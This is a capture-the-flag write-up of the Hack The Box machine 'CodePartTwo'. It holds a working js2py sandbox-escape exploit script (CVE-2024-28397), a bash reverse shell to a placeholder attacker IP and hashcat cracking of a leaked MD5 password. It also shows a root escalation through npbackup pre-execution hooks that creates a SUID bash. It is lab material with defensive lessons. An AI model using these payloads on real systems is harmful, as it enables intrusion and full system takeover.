root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat codeparttwo.md
// writeups

CodePartTwo

16 Aug 2025 · 12 min read
CodePartTwo - maquina de Hack The Box

Executive summary — CodePartTwo is a Flask app for running JavaScript online that exposes its own source code (and, unintentionally, its production SQLite database) through an unauthenticated /download endpoint. The source reveals the use of js2py, vulnerable to CVE-2024-28397 — a sandbox escape that gives direct RCE despite disable_pyimport(). An MD5 hash leaked in the database is cracked with a wordlist and turns out to be reused on the real SSH account. From there, a sudo NOPASSWD on the npbackup backup tool, combined with its configurable pre-execution hooks in an arbitrary YAML file, gives full control as root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.232.59

Attack map

[8000] CodePartTwo — /download leaks the source code + SQLite with no authentication
   │  CVE-2024-28397 — js2py sandbox escape at /run_code
   ▼
[RCE]  Command execution as app
   │  MD5 hash in the DB (marco) cracked with rockyou → reused over SSH
   ▼
[SSH]  marco@host
   │  sudo NOPASSWD on npbackup-cli -c <arbitrary config>
   ▼
[ROOT]  pre_exec_commands from the YAML config → root

1. Reconnaissance

nmap -p- --min-rate 5000 -v 10.129.232.59 -oN nmap_ports.txt
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt
nmap -p22,8000 -sCV -v 10.129.232.59 -oN nmap_sV.txt
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo

Gunicorn confirms a Python (WSGI) application, most likely Flask or Django.

2. Web enumeration — an unauthenticated download endpoint

curl -s http://10.129.232.59:8000/ shows the «CodePartTwo» landing page, a platform for writing, saving and running JavaScript online, with links to /login, /register and /download («Download App»).

curl -s -i http://10.129.232.59:8000/download
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=app.zip
Content-Type: application/zip

The /download endpoint hands out the full application source code with no authentication at all — a critical design flaw (likely meant as "the app is open-source", but it also exposes the production database).

curl -s http://10.129.232.59:8000/download -o app.zip
unzip app.zip -d app_src
  • app/app.py — the full Flask source.
  • app/requirements.txt — dependencies with exact versions.
  • app/instance/users.db — a SQLite database (in production!) with users and hashes.

3. Foothold — CVE-2024-28397 (js2py sandbox escape)

Relevant excerpt from app.py:

import js2py
js2py.disable_pyimport()
...
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

js2py interprets JavaScript directly in Python (for the app's «run code» feature). Version 0.74 is vulnerable to CVE-2024-28397: a sandbox escape that, despite disable_pyimport(), allows walking Python's class hierarchy from JavaScript (Object.getOwnPropertyNames({}).__getattribute__ → object.__base__ → __subclasses__()) until subprocess.Popen is found and run directly, with no need for the blocked pyimport function.

Reference public PoC: Marven11/CVE-2024-28397-js2py-Sandbox-Escape. Adapted payload (simpler: subprocess.Popen is a direct subclass of object, no need for the original PoC's recursive search):

let hacked, bymarve, n11
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
let subs = obj.__subclasses__()
let found = null
for(let i in subs) {
    let item = subs[i]
    if (item.__name__ == "Popen") { found = item }
}
let proc = found(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()
out[0].decode("utf-8", "ignore")
import requests

def build_payload(cmd):
    return f'''
let cmd = "{cmd}"
let hacked, bymarve, n11
hacked = Object.getOwnPropertyNames({{}})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
let subs = obj.__subclasses__()
let found = null
for(let i in subs) {{
    let item = subs[i]
    if (item.__name__ == "Popen") {{ found = item }}
}}
let proc = found(cmd, -1, null, -1, -1, -1, null, null, true)
let out = proc.communicate()
out[0].decode("utf-8", "ignore")
'''

r = requests.post("http://10.129.232.59:8000/run_code", json={"code": build_payload("id")})
print(r.json())
python3 exploit_js2py.py "id"
# {"result": "uid=1001(app) gid=1001(app) groups=1001(app)\n"}

RCE confirmed. Reverse shell (launched in the background with & so it doesn't block the HTTP request's communicate()):

nc -lvnp 4444
python3 exploit_js2py.py 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1" &'
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.232.59] 55060
app@codeparttwo:~/app$

4. Leaked credentials in the SQLite database (user.txt)

sqlite3 /home/app/app/instance/users.db 'select * from user;'
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

app.py uses hashlib.md5(password.encode()).hexdigest() for the stored hash — confirming these are plain MD5 hashes.

hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove

marco's web account password (sweetangelbabylove) turns out to be reused for their real operating-system account:

ssh marco@10.129.232.59   # Password: sweetangelbabylove
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ cat user.txt
d42c712fe3f76528c6ca32d8de77efda

5. Privilege escalation — npbackup hooks via sudo NOPASSWD (root.txt)

marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

marco can run npbackup-cli (Python package npbackup 3.0.1, a wrapper around the restic backup tool) as root, with no password. This binary accepts a -c CONFIG_FILE flag pointing to an arbitrary YAML config file.

Checking /usr/local/lib/python3.8/dist-packages/npbackup/core/runner.py:

def _exec_commands(exec_type, command_list, per_command_timeout, failure_is_fatal):
    commands_success = True
    if command_list:
        for command in command_list:
            exit_code, output = command_runner(
                command, shell=True, timeout=per_command_timeout
            )
            ...
    return commands_success

pre_exec_commands_success = _exec_commands(
    "Pre", pre_exec_commands, pre_exec_per_command_timeout, pre_exec_failure_is_fatal
)

Each backup «group» config accepts backup_opts.pre_exec_commands, a list of commands run via shell=True right before npbackup touches the backup repository. Since the whole binary runs as root via sudo, any command in the pre_exec_commands of a config we supply ourselves (-c) runs as root.

Malicious YAML config (based on the real structure seen in /home/marco/npbackup.conf, with a fresh local repo and a plaintext password — npbackup accepts it fine):

conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: /tmp/evilrepo
    repo_group: evil_group
    backup_opts:
      paths: [/tmp/dummy]
      source_type: folder_list
    repo_opts:
      repo_password: test1234
groups:
  evil_group:
    backup_opts:
      pre_exec_commands:
      - "cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash"
      pre_exec_failure_is_fatal: false
      ...
scp evil.conf marco@10.129.232.59:/tmp/evil.conf
ssh marco@10.129.232.59
marco@codeparttwo:~$ mkdir -p /tmp/dummy && echo test > /tmp/dummy/file.txt
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /tmp/evil.conf -b --force
2026-07-30 00:11:03,598 :: INFO :: npbackup 3.0.1 ... running as root
2026-07-30 00:11:03,700 :: INFO :: Pre-execution of command cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash succeeded with: None
2026-07-30 00:11:04,025 :: INFO :: Repo is not initialized. Initializing repo for backup operation
...

The pre-exec command ran successfully as root (the log itself confirms it: running as root). The later failure («Backup is smaller than configured minimum backup size») is irrelevant — the goal was already achieved before the backup itself fails.

marco@codeparttwo:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(marco) gid=1000(marco) euid=0(root) egid=0(root) groups=0(root),1000(marco),1003(backups)
rootbash-5.0# cat /root/root.txt
ba2dc619e7affaca423ab55d72b3ff1b

Cleanup: the same pre_exec_commands mechanism was reused (this time with rm -rf) to remove the root-owned artifacts marco couldn't delete directly due to the sticky bit on /tmp.

Vulnerability summary

PhaseComponentVulnerabilityImpact
Reconnaissance/download endpointDownloads the source code and the production database with no authenticationLeaked credentials and internal app logic
Footholdjs2py 0.74 (/run_code endpoint)CVE-2024-28397 — sandbox escape reaching subprocess.PopenRCE as app
Lateral movementMD5 hash in users.dbWeak password cracked with rockyou, reused on the real SSH accountSSH access as marco (user.txt)
PrivEscnpbackup-cli via sudo NOPASSWDpre_exec_commands configurable in an arbitrary YAML (-c)Root (root.txt)

Lessons learned

  • Exposing a «download the source code» endpoint without checking what files the package actually includes is a critical error: here it included the production SQLite database with real user credentials.
  • CVE-2024-28397 (js2py sandbox escape) is trivially exploitable even with disable_pyimport() enabled: any Python code that runs js2py.eval_js() on untrusted input should be treated as direct RCE. js2py has no official patch — the only real mitigation is not using it on untrusted user input.
  • Password reuse between a web app and the real operating-system account remains an extremely common escalation pattern — any hash or password found in an app should also be tried against SSH/system accounts.
  • Backup tools with configurable pre/post-execution hooks, combined with sudo over a binary that accepts an arbitrary config file, are a direct privilege-escalation path — the pattern "sudo NOPASSWD on a binary that reads an attacker-controlled config, and that config can run commands" generalizes to many automation/backup/CI tools, not just npbackup.